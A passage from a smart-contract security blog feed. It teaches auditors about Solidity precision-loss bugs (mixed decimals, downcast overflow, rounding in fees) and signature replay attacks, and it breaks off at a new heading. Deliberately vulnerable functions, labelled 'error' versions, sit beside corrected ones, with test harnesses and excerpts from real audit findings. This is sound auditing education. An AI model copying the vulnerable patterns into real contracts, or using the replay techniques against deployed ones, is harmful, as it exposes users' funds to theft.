    <span class="hljs-keyword">uint256</span> secondaryAmountInPrimary <span class="hljs-operator">=</span> secondaryBalance <span class="hljs-operator">*</span> lpPoolTokensPrecision <span class="hljs-operator">/</span> oraclePrice;
    console.log(<span class="hljs-string">"secondaryAmountInPrimary : "</span>, secondaryAmountInPrimary);

    <span class="hljs-comment">// Make sure primaryAmount is reported in token1Precision</span>
    <span class="hljs-comment">// @audit (primaryBalance + secondaryAmountInPrimary)</span>
    <span class="hljs-comment">// primaryBalance &amp; secondaryAmountInPrimary may not be denominated in</span>
    <span class="hljs-comment">// the same precision =&gt; they can't safely be added together without</span>
    <span class="hljs-comment">// first scaling the secondary token to match the primary token's precision</span>
    primaryAmount <span class="hljs-operator">=</span> (primaryBalance <span class="hljs-operator">+</span> secondaryAmountInPrimary) <span class="hljs-operator">*</span> token1Precision <span class="hljs-operator">/</span> lpPoolTokensPrecision;
    console.log(<span class="hljs-string">"primaryAmount            : "</span>, primaryAmount);
}
</code></pre>
<p><em>(primaryBalance + secondaryAmountInPrimary)</em> attempts to add together the balance of two tokens which may not have the same precision; this will result in a loss of precision. To prevent this defect, the secondary amount must first be scaled into the primary token's precision before further computation:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit correct verison scales secondary token to match primary tokens' precision</span>
<span class="hljs-comment">// before performing further computation</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">correctGetWeightedBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> token1Amount,
                                   <span class="hljs-keyword">uint</span> token1Precision,
                                   <span class="hljs-keyword">uint</span> token2Amount,
                                   <span class="hljs-keyword">uint</span> token2Precision,
                                   <span class="hljs-keyword">uint</span> poolTotalSupply,
                                   <span class="hljs-keyword">uint</span> lpPoolTokens,
                                   <span class="hljs-keyword">uint</span> lpPoolTokensPrecision,
                                   <span class="hljs-keyword">uint</span> oraclePrice</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> primaryAmount</span>) </span>{  
    console.log(<span class="hljs-string">"PrecisionLoss.correctGetWeightedBalance()"</span>);
    <span class="hljs-comment">// Get shares of primary and secondary balances with the provided poolClaim</span>
    <span class="hljs-keyword">uint256</span> primaryBalance   <span class="hljs-operator">=</span> token1Amount <span class="hljs-operator">*</span> lpPoolTokens <span class="hljs-operator">/</span> poolTotalSupply;
    <span class="hljs-keyword">uint256</span> secondaryBalance <span class="hljs-operator">=</span> token2Amount <span class="hljs-operator">*</span> lpPoolTokens <span class="hljs-operator">/</span> poolTotalSupply;

    <span class="hljs-comment">// @audit scale secondary token amount to first token's precision prior to any computation</span>
    secondaryBalance <span class="hljs-operator">=</span> secondaryBalance <span class="hljs-operator">*</span> token1Precision <span class="hljs-operator">/</span> token2Precision;   

    console.log(<span class="hljs-string">"primaryBalance           : "</span>, primaryBalance);
    console.log(<span class="hljs-string">"secondaryBalance         : "</span>, secondaryBalance);

    <span class="hljs-comment">// Value the secondary balance in terms of the primary token using the oraclePrice</span>
    <span class="hljs-keyword">uint256</span> secondaryAmountInPrimary <span class="hljs-operator">=</span> secondaryBalance <span class="hljs-operator">*</span> lpPoolTokensPrecision <span class="hljs-operator">/</span> oraclePrice;
    console.log(<span class="hljs-string">"secondaryAmountInPrimary : "</span>, secondaryAmountInPrimary);

    <span class="hljs-comment">// Make sure primaryAmount is reported in token1Precision</span>
    primaryAmount <span class="hljs-operator">=</span> primaryBalance <span class="hljs-operator">+</span> secondaryAmountInPrimary;
    console.log(<span class="hljs-string">"primaryAmount            : "</span>, primaryAmount);
}
</code></pre>
<p>Here is a test harness that runs both the erroneous version and the correct version for DAI/USDC &amp; USDC/DAI pools:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// given a pool of two tokens with different precision, calculate</span>
<span class="hljs-comment">// value of given amount of LP tokens in the pool's primary token</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testWeightedPoolBalanceDiffPrecision</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> DAI_PRECISION         <span class="hljs-operator">=</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">18</span>;
    <span class="hljs-keyword">uint</span> USDC_PRECISION        <span class="hljs-operator">=</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">6</span>;

    <span class="hljs-keyword">uint</span> token1Precision       <span class="hljs-operator">=</span> DAI_PRECISION;
    <span class="hljs-keyword">uint</span> token2Precision       <span class="hljs-operator">=</span> USDC_PRECISION;
    <span class="hljs-keyword">uint</span> token1Amount          <span class="hljs-operator">=</span> <span class="hljs-number">100</span> <span class="hljs-operator">*</span> token1Precision;
    <span class="hljs-keyword">uint</span> token2Amount          <span class="hljs-operator">=</span> <span class="hljs-number">100</span> <span class="hljs-operator">*</span> token2Precision;
    <span class="hljs-keyword">uint</span> poolTotalSupply       <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
    <span class="hljs-keyword">uint</span> lpPoolTokens          <span class="hljs-operator">=</span> <span class="hljs-number">50</span>;
    <span class="hljs-keyword">uint</span> lpPoolTokensPrecision <span class="hljs-operator">=</span> DAI_PRECISION;
    <span class="hljs-keyword">uint</span> oraclePrice           <span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-operator">*</span> DAI_PRECISION;

    <span class="hljs-comment">// first test: DAI/USDC pool</span>
    <span class="hljs-keyword">uint</span> result <span class="hljs-operator">=</span> vulnContract.errorGetWeightedBalance(
        token1Amount, token1Precision, token2Amount, token2Precision, 
        poolTotalSupply, lpPoolTokens, lpPoolTokensPrecision, oraclePrice );
    assertEq(<span class="hljs-number">50000000000050000000</span>, result);    

    result <span class="hljs-operator">=</span> vulnContract.correctGetWeightedBalance(
        token1Amount, token1Precision, token2Amount, token2Precision, 
        poolTotalSupply, lpPoolTokens, lpPoolTokensPrecision, oraclePrice );
    assertEq(<span class="hljs-number">100000000000000000000</span>, result);

    <span class="hljs-comment">// second test: USDC/DAI pool</span>
    result <span class="hljs-operator">=</span> vulnContract.errorGetWeightedBalance(
        token2Amount, token2Precision, token1Amount, token1Precision, 
        poolTotalSupply, lpPoolTokens, lpPoolTokensPrecision, oraclePrice );
    assertEq(<span class="hljs-number">50000000</span>, result);

    result <span class="hljs-operator">=</span> vulnContract.correctGetWeightedBalance(
        token2Amount, token2Precision, token1Amount, token1Precision, 
        poolTotalSupply, lpPoolTokens, lpPoolTokensPrecision, oraclePrice );
    assertEq(<span class="hljs-number">100000000</span>, result);
}
</code></pre>
<p>Examining the output shows the erroneous version dramatically undervalues the user's LP tokens by approximately -50%:</p>
<pre><code class="lang-solidity">PrecisionLoss.errorGetWeightedBalance() (DAI<span class="hljs-operator">/</span>USDC)
primaryBalance           :  <span class="hljs-number">50000000000000000000</span>
secondaryBalance         :  <span class="hljs-number">50000000</span>
secondaryAmountInPrimary :  <span class="hljs-number">50000000</span>
primaryAmount            :  <span class="hljs-number">50000000000050000000</span>
PrecisionLoss.correctGetWeightedBalance() (DAI<span class="hljs-operator">/</span>USDC)
primaryBalance           :  <span class="hljs-number">50000000000000000000</span>
secondaryBalance         :  <span class="hljs-number">50000000000000000000</span>
secondaryAmountInPrimary :  <span class="hljs-number">50000000000000000000</span>
primaryAmount            :  <span class="hljs-number">100000000000000000000</span>

PrecisionLoss.errorGetWeightedBalance() (USDC<span class="hljs-operator">/</span>DAI)
primaryBalance           :  <span class="hljs-number">50000000</span>
secondaryBalance         :  <span class="hljs-number">50000000000000000000</span>
secondaryAmountInPrimary :  <span class="hljs-number">50000000000000000000</span>
primaryAmount            :  <span class="hljs-number">50000000</span>
PrecisionLoss.correctGetWeightedBalance() (USDC<span class="hljs-operator">/</span>DAI)
primaryBalance           :  <span class="hljs-number">50000000</span>
secondaryBalance         :  <span class="hljs-number">50000000</span>
secondaryAmountInPrimary :  <span class="hljs-number">50000000</span>
primaryAmount            :  <span class="hljs-number">100000000</span>
</code></pre>
<p>When combining amounts of multiple tokens that may have different precision, we must always take care to convert all of the amounts into the primary token's precision before any computation. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-02-surge-judging/issues/122">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-olympus-judging/issues/161">2</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/319">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-12-notional-judging/issues/18">4</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-yaxis/#h-07-vaultbalance-mixes-normalized-and-standard-amounts">5</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-yaxis/#h-08-vaultwithdraw-mixes-normalized-and-standard-amounts">6</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-11-opyn-judging/issues/236">7</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-08-sentiment-judging/blob/main/025-H/1-report.md">8</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-08-sentiment-judging/blob/main/026-H/1-report.md">9</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-illuminate-judging/issues/228">10</a>]</p>
<h3 id="heading-excessive-precision-scaling">Excessive Precision Scaling</h3>
<p>In the previous section we learned that token amounts can have different precisions and hence it is very important to scale them to the same precision before performing calculations. In an effort to do this, smart contracts can excessively scale already-scaled tokens causing token amounts to become excessively inflated. Examine this <a target="_blank" href="https://github.com/sherlock-audit/2022-12-notional-judging/issues/13">finding</a> from Notional's sherlock audit.</p>
<p>Auditors can find this type of vulnerability by tracing through code paths that handle token amounts and seeing if token amounts are repeatedly scaled when there should be no need for further scaling, paying special attention to larger modular codebases where different sub-components may be called to perform a function, and may incorrectly re-scale an already-scaled amount.</p>
<h3 id="heading-mismatched-precision-scaling">Mismatched Precision Scaling</h3>
<p>Often larger codebases are created by multiple developers, and different modules within a larger codebase may have slight quirks when attempting to scale precision. One module may scale precision by a token's decimals, while another module may hard-code a common value such as 1e18; this <a target="_blank" href="https://code4rena.com/reports/2021-12-sublime#h-04-yearn-token--shares-conversion-decimal-issue">mismatched precision scaling</a> can create subtle precision loss errors when using tokens with a different precision to the hard-coded value. Consider this code [<a target="_blank" href="https://github.com/yearn/yearn-vaults/blob/03b42dacacec2c5e93af9bf3151da364d333c222/contracts/Vault.vy#L1147">1</a>, <a target="_blank" href="https://github.com/yearn/yearn-vaults/blob/03b42dacacec2c5e93af9bf3151da364d333c222/contracts/Vault.vy#L1141-L1147">2</a>] from Yearn's code4rena audit:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit Vault.vy; vault precision using token's decimals</span>
decimals: <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> DetailedERC20(token).decimals()
<span class="hljs-built_in">self</span>.decimals     <span class="hljs-operator">=</span> decimals
<span class="hljs-comment">/// ...</span>
def pricePerShare() <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>:
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>._shareValue(<span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-built_in">self</span>.decimals)

<span class="hljs-comment">// @audit YearnYield; yield precision using hard-coded 1e18</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getTokensForShares</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> shares, <span class="hljs-keyword">address</span> asset</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) </span>{
    <span class="hljs-keyword">if</span> (shares <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    <span class="hljs-comment">// @audit should divided by vaultDecimals </span>
    amount <span class="hljs-operator">=</span> IyVault(liquidityToken[asset]).getPricePerFullShare().mul(shares).div(<span class="hljs-number">1e18</span>);
}
</code></pre>
<p>Auditors should check that all modules of larger codebases are using the same precision scaling and be alert that hard-coded precision values in one module may conflict with dynamic precision values in another module, for tokens whose precision does not match the hard-coded value. More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-01-trader-joe#h-02-wrong-token-allocation-computation-for-token-decimals--18-if-floor-price-not-reached">1</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-yaxis#h-07-vaultbalance-mixes-normalized-and-standard-amounts">2</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-olympus-judging/issues/161">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-03-taurus-judging/issues/35">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-01-uxd-judging/issues/402">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-illuminate-judging/issues/228">6</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-illuminate-judging/issues/164">7</a>, <a target="_blank" href="https://dacian.me/defi-slippage-attacks#heading-mismatched-slippage-precision">8</a>, <a target="_blank" href="https://github.com/gogotheauditor/audits/blob/main/reports/Aelin-Sub7-Security-Review.pdf">9</a>]</p>
<h3 id="heading-downcast-overflow">Downcast Overflow</h3>
<p>When downcasting from one type to another, Solidity will not revert but overflow, resulting in unexpected behavior and exploitable bugs. Auditors should look out for code patterns where require() checks occur before the downcast; these checks may pass before the downcast but fail after due to downcast overflow. Consider this simplified code from <a target="_blank" href="https://twitter.com/gpersoon">@gpersoon</a>'s <a target="_blank" href="https://youtu.be/p4ho0GQc4es?t=1199">balancer bug bounty</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">errorDowncast</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> sTimeU256, <span class="hljs-keyword">uint</span> eTimeU256</span>)  
  <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> sFromU32, <span class="hljs-keyword">uint</span> eFromU32</span>) </span>{
    <span class="hljs-comment">// checks before downcast conversions may not be true</span>
    <span class="hljs-comment">// after the downcast if overflow occurs</span>
    <span class="hljs-built_in">require</span>(eTimeU256 <span class="hljs-operator">&gt;</span> sTimeU256, <span class="hljs-string">"End Time must &gt; startTime "</span>);

    <span class="hljs-keyword">uint32</span> sTimeU32 <span class="hljs-operator">=</span> <span class="hljs-keyword">uint32</span>(sTimeU256);
    <span class="hljs-keyword">uint32</span> eTimeU32 <span class="hljs-operator">=</span> <span class="hljs-keyword">uint32</span>(eTimeU256); <span class="hljs-comment">// overflow for &gt;= 2 ** 32</span>

    console.log(<span class="hljs-string">"sTimeU256 : "</span>, sTimeU256);
    console.log(<span class="hljs-string">"eTimeU256 : "</span>, eTimeU256);
    console.log(<span class="hljs-string">"sTimeU32  : "</span>, sTimeU32);
    console.log(<span class="hljs-string">"eTimeU32  : "</span>, eTimeU32); <span class="hljs-comment">// 0 for 2 ** 32</span>

    <span class="hljs-keyword">return</span> (<span class="hljs-keyword">uint</span>(sTimeU32), <span class="hljs-keyword">uint</span>(eTimeU32));
}
</code></pre>
<p>We have a function that is given a startTime &amp; endTime in unsigned 256 bits. First it verifies the invariant (endTime &gt; startTime), then it downcasts them both to unsigned 32 bits. In smart contracts this can often occur to due storage packing, where downcasts will be used to pack multiple variables into one storage slot.</p>
<p>The endTime will overflow for values &gt;= 2 ** 32, resulting in the invariant check becoming invalid after the downcast. In Balancer and other contracts this corrupted state would be stored to storage to be read and subsequently exploited later on. When downcasting developers should consider using OpenZeppelin's <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol">SafeCast</a> library which reverts if downcasting would overflow:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">correctDowncast</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> sTimeU256, <span class="hljs-keyword">uint</span> eTimeU256</span>)  
  <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> sFromU32, <span class="hljs-keyword">uint</span> eFromU32</span>) </span>{
    <span class="hljs-built_in">require</span>(eTimeU256 <span class="hljs-operator">&gt;</span> sTimeU256, <span class="hljs-string">"End Time must &gt; startTime "</span>);

    <span class="hljs-keyword">uint32</span> sTimeU32 <span class="hljs-operator">=</span> SafeCast.toUint32(sTimeU256);
    <span class="hljs-keyword">uint32</span> eTimeU32 <span class="hljs-operator">=</span> SafeCast.toUint32(eTimeU256);

    console.log(<span class="hljs-string">"sTimeU256 : "</span>, sTimeU256);
    console.log(<span class="hljs-string">"eTimeU256 : "</span>, eTimeU256);
    console.log(<span class="hljs-string">"sTimeU32  : "</span>, sTimeU32);
    console.log(<span class="hljs-string">"eTimeU32  : "</span>, eTimeU32);

    <span class="hljs-keyword">return</span> (<span class="hljs-keyword">uint</span>(sTimeU32), <span class="hljs-keyword">uint</span>(eTimeU32));
}
</code></pre>
<p>Wrapping this in a simple test harness we can verify both the erroneous &amp; correct versions behave as expected:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testDowncast</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> sTimeU256 <span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">31</span>;
    <span class="hljs-keyword">uint</span> eTimeU256 <span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">32</span>;

    <span class="hljs-built_in">assert</span>(sTimeU256 <span class="hljs-operator">&lt;</span> eTimeU256);

    (<span class="hljs-keyword">uint</span> sFromU32, <span class="hljs-keyword">uint</span> eFromU32) <span class="hljs-operator">=</span> vulnContract.errorDowncast(sTimeU256, eTimeU256);
    <span class="hljs-built_in">assert</span>(sFromU32 <span class="hljs-operator">&gt;</span> eFromU32);

    vm.expectRevert(<span class="hljs-string">"SafeCast: value doesn't fit in 32 bits"</span>);
    vulnContract.correctDowncast(sTimeU256, eTimeU256);
}
</code></pre>
<p>And examine the output to see exactly how downcast overflows:</p>
<pre><code class="lang-solidity">sTimeU256 :  <span class="hljs-number">2147483648</span>
eTimeU256 :  <span class="hljs-number">4294967296</span>
sTimeU32  :  <span class="hljs-number">2147483648</span>
eTimeU32  :  <span class="hljs-number">0</span>
</code></pre>
<p>Auditors should look out for code that uses unsafe downcasting, especially where require() checks and other invariants are verified <em>before</em> downcasting occurs, as those invariants may no longer hold true due to precision loss from downcasting overflows. More examples: [<a target="_blank" href="https://code4rena.com/reports/2023-03-wenwin/#m-05-unsafe-casting-from-uint256-to-uint16-could-cause-ticket-prizes-to-become-much-smaller-than-intended">1</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-sushitrident-2/#h-05-incorrect-usage-of-typecasting-in-_getamountsforliquidity-lets-an-attacker-steal-funds-from-the-pool">2</a>, <a target="_blank" href="https://code4rena.com/reports/2021-09-sushitrident/#h-09-unsafe-cast-in-indexpool-mint-leads-to-attack">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-09-harpie-judging/blob/main/018-M/1-report.md">4</a>]</p>
<h3 id="heading-rounding-leaks-value-from-protocol">Rounding Leaks Value From Protocol</h3>
<p>In Automated Market Making (and similar) protocols, rounding on buying, selling &amp; protocol fee calculations should always favor the protocol, to prevent leaking value from the system to traders. Consider this <a target="_blank" href="https://solodit.xyz/issues/different-rounding-directions-are-recommended-for-getting-buysell-info-cyfrin-sudoswap-markdown_">medium precision loss finding</a> from <a target="_blank" href="https://www.cyfrin.io/">Cyrfin</a>'s <a target="_blank" href="https://github.com/solodit/solodit_content/blob/main/reports/Cyfrin/2023-06-01-Sudoswap.md">SudoSwap audit</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit rounding down favors traders, can leak value from protocol</span>
protocolFee <span class="hljs-operator">=</span> outputValue.mulWadDown(protocolFeeMultiplier);
<span class="hljs-comment">// fixed: round up to favor protocol and prevent value leak to traders</span>
protocolFee <span class="hljs-operator">=</span> outputValue.mulWadUp(protocolFeeMultiplier);

<span class="hljs-comment">// @audit rounding down favors traders, can leak value from protocol</span>
tradeFee <span class="hljs-operator">=</span> outputValue.mulWadDown(feeMultiplier);
<span class="hljs-comment">// fixed: round up to favor protocol and prevent value leak to traders</span>
tradeFee <span class="hljs-operator">=</span> outputValue.mulWadUp(feeMultiplier);
</code></pre>
<p>protocolFee &amp; tradeFee were originally rounding down which would result in the system leaking value over time to traders who would be paying lower fees than they should. This was fixed after the audit by rounding up protocolFee &amp; tradeFee which benefits the protocol, preventing value from leaking from the system to the traders.</p>
<h3 id="heading-more-resources">More Resources</h3>
<ul>
<li><a target="_blank" href="https://www.youtube.com/watch?v=Dz2FMlKcwHg">Dangerous Decimals - DeFi Rounding Issues</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Signature Replay Attacks]]></title><description><![CDATA[Signatures can be used in Ethereum transactions to validate computation performed off-chain, helping to minimize on-chain gas fees. Signatures are primarily used to authorize transactions on behalf of the signer and to prove that a signer signed a sp...]]></description><link>https://dacian.me/signature-replay-attacks</link><guid isPermaLink="true">https://dacian.me/signature-replay-attacks</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[signature-replay]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Tue, 28 Mar 2023 21:11:59 GMT</pubDate><content:encoded><![CDATA[<p><a target="_blank" href="https://www.codementor.io/@yosriady/signing-and-verifying-ethereum-signatures-vhe8ro3h6">Signatures</a> can be used in Ethereum transactions to validate computation performed off-chain, helping to minimize on-chain gas fees. Signatures are primarily used to authorize transactions on behalf of the signer and to prove that a signer signed a specific message. Signature replay attacks allow an attacker to replay a previous transaction by copying its signature and passing the validation check.</p>
<h3 id="heading-missing-nonce-replay">Missing Nonce Replay</h3>
<p>Consider the following <a target="_blank" href="https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112">code</a> from Ondo's code4rena contest:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addKYCAddressViaSignature</span>(<span class="hljs-params"> 
    <span class="hljs-keyword">uint256</span> kycRequirementGroup,
    <span class="hljs-keyword">address</span> user,
    <span class="hljs-keyword">uint256</span> deadline,
    <span class="hljs-keyword">uint8</span> v,
    <span class="hljs-keyword">bytes32</span> r,
    <span class="hljs-keyword">bytes32</span> s </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">bytes32</span> structHash <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(
      <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
    );

    <span class="hljs-keyword">bytes32</span> expectedMessage <span class="hljs-operator">=</span> _hashTypedDataV4(structHash);

    <span class="hljs-keyword">address</span> signer <span class="hljs-operator">=</span> ECDSA.recover(expectedMessage, v, r, s);
    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>addKYCAddressViaSignature() uses a signature to grant KYC status to a user (the signer). Yet what would happen if KYC status was subsequently revoked? The user could simply <a target="_blank" href="https://code4rena.com/reports/2023-01-ondo#m-04-kycregistry-is-susceptible-to-signature-replay-attack">replay the original signature</a> &amp; KYC status would be granted again.</p>
<p>To prevent signature replay attacks, smart contracts must:</p>
<ul>
<li><p>keep track of a <a target="_blank" href="https://ethereum.stackexchange.com/questions/136224/how-to-use-nonce-to-prevent-signature-replication">nonce</a>,</p>
</li>
<li><p>make the current nonce available to signers,</p>
</li>
<li><p>validate the signature using the current nonce,</p>
</li>
<li><p>once a nonce has been used, save this to storage such that the same nonce can't be used again.</p>
</li>
</ul>
<p>This requires signers to sign their message including the current nonce, and hence signatures that have already been used are unable to be replayed, as the old nonce will have been marked in storage as having been used &amp; will no longer be valid. An example can be seen in OpenZeppelin's <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L60-L93">ERC20Permit</a> implementation:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">permit</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> owner,
    <span class="hljs-keyword">address</span> spender,
    <span class="hljs-keyword">uint256</span> value,
    <span class="hljs-keyword">uint256</span> deadline,
    <span class="hljs-keyword">uint8</span> v,
    <span class="hljs-keyword">bytes32</span> r,
    <span class="hljs-keyword">bytes32</span> s
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
    <span class="hljs-comment">// ...</span>
    <span class="hljs-keyword">bytes32</span> structHash <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
    <span class="hljs-comment">// incorporates chain_id (ref next section Cross Chain Replay)</span>
    <span class="hljs-keyword">bytes32</span> hash <span class="hljs-operator">=</span> _hashTypedDataV4(structHash);
    <span class="hljs-comment">// ...</span>
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_useNonce</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> current</span>) </span>{
    Counters.Counter <span class="hljs-keyword">storage</span> nonce <span class="hljs-operator">=</span> _nonces[owner];
    current <span class="hljs-operator">=</span> nonce.current();
    nonce.increment();
}
</code></pre>
<p>More examples of missing nonce signature replay attacks: [<a target="_blank" href="https://code4rena.com/reports/2023-01-ondo/#m-04-kycregistry-is-susceptible-to-signature-replay-attack">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-08-rigor/#h-03-builder-can-call-communityescrow-again-to-reduce-debt-further-using-same-signatures">2</a>, <a target="_blank" href="https://code4rena.com/reports/2022-08-rigor/#h-04-project-funds-can-be-drained-by-reusing-signatures-in-some-cases">3</a>, <a target="_blank" href="https://code4rena.com/reports/2022-02-foundation/#m-01-eip-712-signatures-can-be-re-used-in-private-sales">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-09-harpie-judging/blob/main/160-M/1-report.md">5</a>]</p>
<h3 id="heading-cross-chain-replay">Cross Chain Replay</h3>
<p>Many smart contracts operate on multiple chains from the same contract address and users similarly operate the same address across multiple chains. Biconomy's code4rena contest had the following <a target="_blank" href="https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/paymasters/verifying/singleton/VerifyingSingletonPaymaster.sol#L77-L90">code</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getHash</span>(<span class="hljs-params">UserOperation <span class="hljs-keyword">calldata</span> userOp</span>)
<span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
    <span class="hljs-comment">//can't use userOp.hash(), since it contains also the paymasterAndData itself.</span>
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(
            userOp.getSender(),
            userOp.nonce,
            <span class="hljs-built_in">keccak256</span>(userOp.initCode),
            <span class="hljs-built_in">keccak256</span>(userOp.callData),
            userOp.callGasLimit,
            userOp.verificationGasLimit,
            userOp.preVerificationGas,
            userOp.maxFeePerGas,
            userOp.maxPriorityFeePerGas
        ));
}
</code></pre>
<p>Since a UserOperation is not signed nor verified using the chain_id, a valid signature that was used on one chain could be copied by an attacker and propagated onto another chain, where it would also be valid for the same user &amp; contract address! To prevent <a target="_blank" href="https://code4rena.com/reports/2023-01-biconomy#m-03-cross-chain-signature-replay-attack">cross-chain signature replay attacks</a>, smart contracts must validate the signature using the chain_id, and users must <a target="_blank" href="https://ethereum.stackexchange.com/questions/116970/how-to-prevent-cross-chain-signed-message-replay">include the chain_id in the message to be signed</a>. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-09-harpie-judging/blob/main/004-M/1-report.md">1</a>, <a target="_blank" href="https://solodit.xyz/issues/unlimitedpricefeed-is-vulnerable-to-crosschain-signature-replay-attacks-halborn-unlimited-network-unlimited-leverage-pdf">2</a>]</p>
<h3 id="heading-missing-parameter">Missing Parameter</h3>
